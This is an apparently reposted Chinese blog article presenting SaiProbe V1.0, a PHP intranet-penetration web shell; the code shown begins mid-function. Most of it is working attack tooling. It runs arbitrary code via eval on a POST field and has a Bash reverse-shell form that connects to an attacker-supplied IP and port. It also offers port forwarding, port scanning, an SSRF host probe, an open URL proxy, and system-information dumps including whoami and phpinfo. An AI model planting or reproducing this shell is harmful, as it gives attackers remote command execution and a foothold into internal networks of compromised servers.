SaiProbe V1.0 内网渗透辅助脚本 20160605 php脚本-白红宇

SaiProbe V1.0 内网渗透辅助脚本 20160605 php脚本

阅读量：3727 次

发布时间：2019-05-22

本文共 6773 字，大约阅读时间需要 22 分钟。


             echo "<script>alert('Can't recognize this operation system!)</script>";
         }
     }//==============================在线代理函数====================================
     function proxy($url){ 
   
         $output=file_get_contents($url);
         return $output;
     }//======================================Main===================================
     $scan=new portScan();
     if(isset($_POST['submit'])){ 
   
         if($_POST['start']!=""){ 
   
             $scan->Prepare();
         }else{ 
   
             echo "<script>alert('什么都没输怎么扫？')</script>";
         }      
     }
 
     if(isset($_GET['ip'])){ 
   
         $ssrf_ip=$_GET['ip'];
         if($ssrf_ip!=0){ 
   
             ssrf($ssrf_ip);
         }
     }
 
     if(isset($_POST['trans'])) { 
   
         tranmit($_POST['sourceip'],$_POST['sourceport'],$_POST['targetip'],$_POST['targetport']);
     }
 
     if(isset($_POST['rebound'])){ 
   
         bounce($_POST['tarip'],$_POST['tarport']);
     }
     if (isset($_GET['proxy'])) { 
   
         $proxy_web=proxy($_GET['proxy']);
         echo "<div>".$proxy_web."</div>";
     }?><!--=======================================================================================================================================================================华丽的分割线=================================================================================================================================================================--><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>   <title>Sai 内网探针V1.0</title>
 <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style type="text/css"></style></head>
 <div align="center">
     <h1>SaiProbe V1.0</h1><hr>
     <div>
         <a href="?id=1">基本信息</a>|<a href="?id=2">反弹转发</a>|<a href="?id=3">命令执行</a>|<a href="?id=4">端口扫描</a>|<a href="?id=5&ip=0">存活探测</a>|<a href="?id=6">phpinfo</a>|<a href="?id=7&proxy=">代理访问</a>|<a href="#">更多功能</a>
     </div>
 <hr>
 <!-----------------------------基本信息-------------------------------->
 </div><div align="center" id="normal">
     <fieldset>
         <legend>基本信息</legend>
     <table border="1" align="center" width="50%">
         <tr>
             <td>服务器IP/地址</td>
             <td><?php echo $_SERVER['SERVER_NAME'];?>(<?php if('/'==DIRECTORY_SEPARATOR){echo $_SERVER['SERVER_ADDR'];}else{echo @gethostbyname($_SERVER['SERVER_NAME']);} ?>)</td>
         </tr>
         <tr>
             <td>当前用户</td>
             <td><?php echo `whoami`?></td>
         </tr>
         <tr>
             <td>网站目录</td>
             <td><?php echo $_SERVER['DOCUMENT_ROOT']?str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']):str_replace('\\','/',dirname(__FILE__));?></td>
         </tr>
         <tr>
             <td>探针所在目录</td>
             <td><?php echo str_replace('\\','/',__FILE__)?str_replace('\\','/',__FILE__):$_SERVER['SCRIPT_FILENAME'];?></td>
         </tr>
         <tr>
             <td>服务器端口</td>
             <td><?php echo $_SERVER['SERVER_PORT'];?></td>
         </tr>
         <tr>
             <td>服务器标识</td>
             <td><?php if($sysInfo['win_n'] != ''){echo $sysInfo['win_n'];}else{echo @php_uname();};?></td>
         </tr>
         <tr>
             <td>PHP版本</td>
             <td><?php echo PHP_VERSION;?></td>
         </tr>
         <tr>
             <td>PHP安装路径</td>
             <td><?php echo $_SERVER["PHPRC"];?></td>
         </tr>
     </table> 
     </fieldset>
 </div><!-----------------------------命令执行--------------------------------><div align="center" style="display:none" id="command">
     <fieldset>
         <legend>执行函数</legend>
             <form method="post" action="#">
                 <div>
                     命令：<input type="text" placeholder="system(‘whoami’)" name="order"/>
                     <input type="submit" value="执行">
                 </div>
             </form>
             <div>
                     <textarea cols="150" rows="30" style="resize:none">
                         <? $order=$_POST['order'];echo eval($order.";");?>
                     </textarea>
             </div>
     </fieldset>  
 </div><!-----------------------------反弹转发--------------------------------><div align="center" style="display:none" id="inner">
     <fieldset>
         <legend>反弹转发</legend>
             <div>
                 <form method="post" action="#">
                 Bash反弹：<input type="text" name="tarip" placeholder="目标IP">
                     <input type="text" name="tarport" placeholder="目标端口"> 
                     <input type="submit" name="rebound" value="执行">
                 </form>
                 <form method="post" action="">
                 端口转发：<input type="text" name="sourceip" placeholder="本地IP"><input type="text" name="sourceport" placeholder="本地端口">
                         <input type="text" name="targetip" placeholder="目标IP"><input type="text" name="targetport" placeholder="目标端口">
                         <input type="submit" name="trans" value="执行">
                 <form>
             </div>
     </fieldset>
 </div><!-----------------------------批量端口扫描--------------------------------><div align="center" id="portscan" style="display:none">
     <fieldset>
         <legend>批量端口扫描</legend>
         <form action="#" method="post">
             <input type="text" name="start"> -
             <input type="text" name="end">
             <input type="submit" name="submit" value="开始扫描">
         </form>
     </fieldset></div>
 
 <!-----------------------------存活探测-------------------------------->
 <div align="center" id="ssrf" style="display:none">
     <fieldset>
         <legend>存活探测</legend>
             <b>请在url的IP参数后跟上ip地址,配合Brupsuit爆破功能进行存活探测,默认为80端口</b>
     </fieldset>
 </div><!-----------------------------phpinfo--------------------------------><div align="center" id="phpinfo" style="display:none">
     <fieldset>
         <legend>phpinfo</legend>
         <?php phpinfo()?>
     </fieldset></div>
 
 <!-----------------------------代理访问-------------------------------->
 <div align="center" id="proxy" style="display:none">
     <fieldset>
         <legend>代理访问</legend>
             <b>请在url的proxy参数跟上内网地址</b>
     </fieldset>
 </div><!-----------------------------更多功能--------------------------------><div align="center" id="phpinfo" style="display:none">
     <fieldset>
     </fieldset>
 </div><div align="center"><a href="http://www.heysec.org">Code by Sai</a></div><script type="text/javascript">
         var id=<?php echo $_GET['id'];?>;
         var x;
         switch (id){ 
   
             case 1:
             break;
             case 2:
                 document.getElementById("inner").style.display='';
             break;
             case 3:
                 document.getElementById("command").style.display='';
             break;
             case 4:
                 document.getElementById("portscan").style.display='';
             break;
             case 5:
                 document.getElementById("ssrf").style.display='';
             break;         
             case 6:
                 document.getElementById("phpinfo").style.display='';
             break;
             case 7:
                 document.getElementById("proxy").style.display='';
             break;
         }
     </script>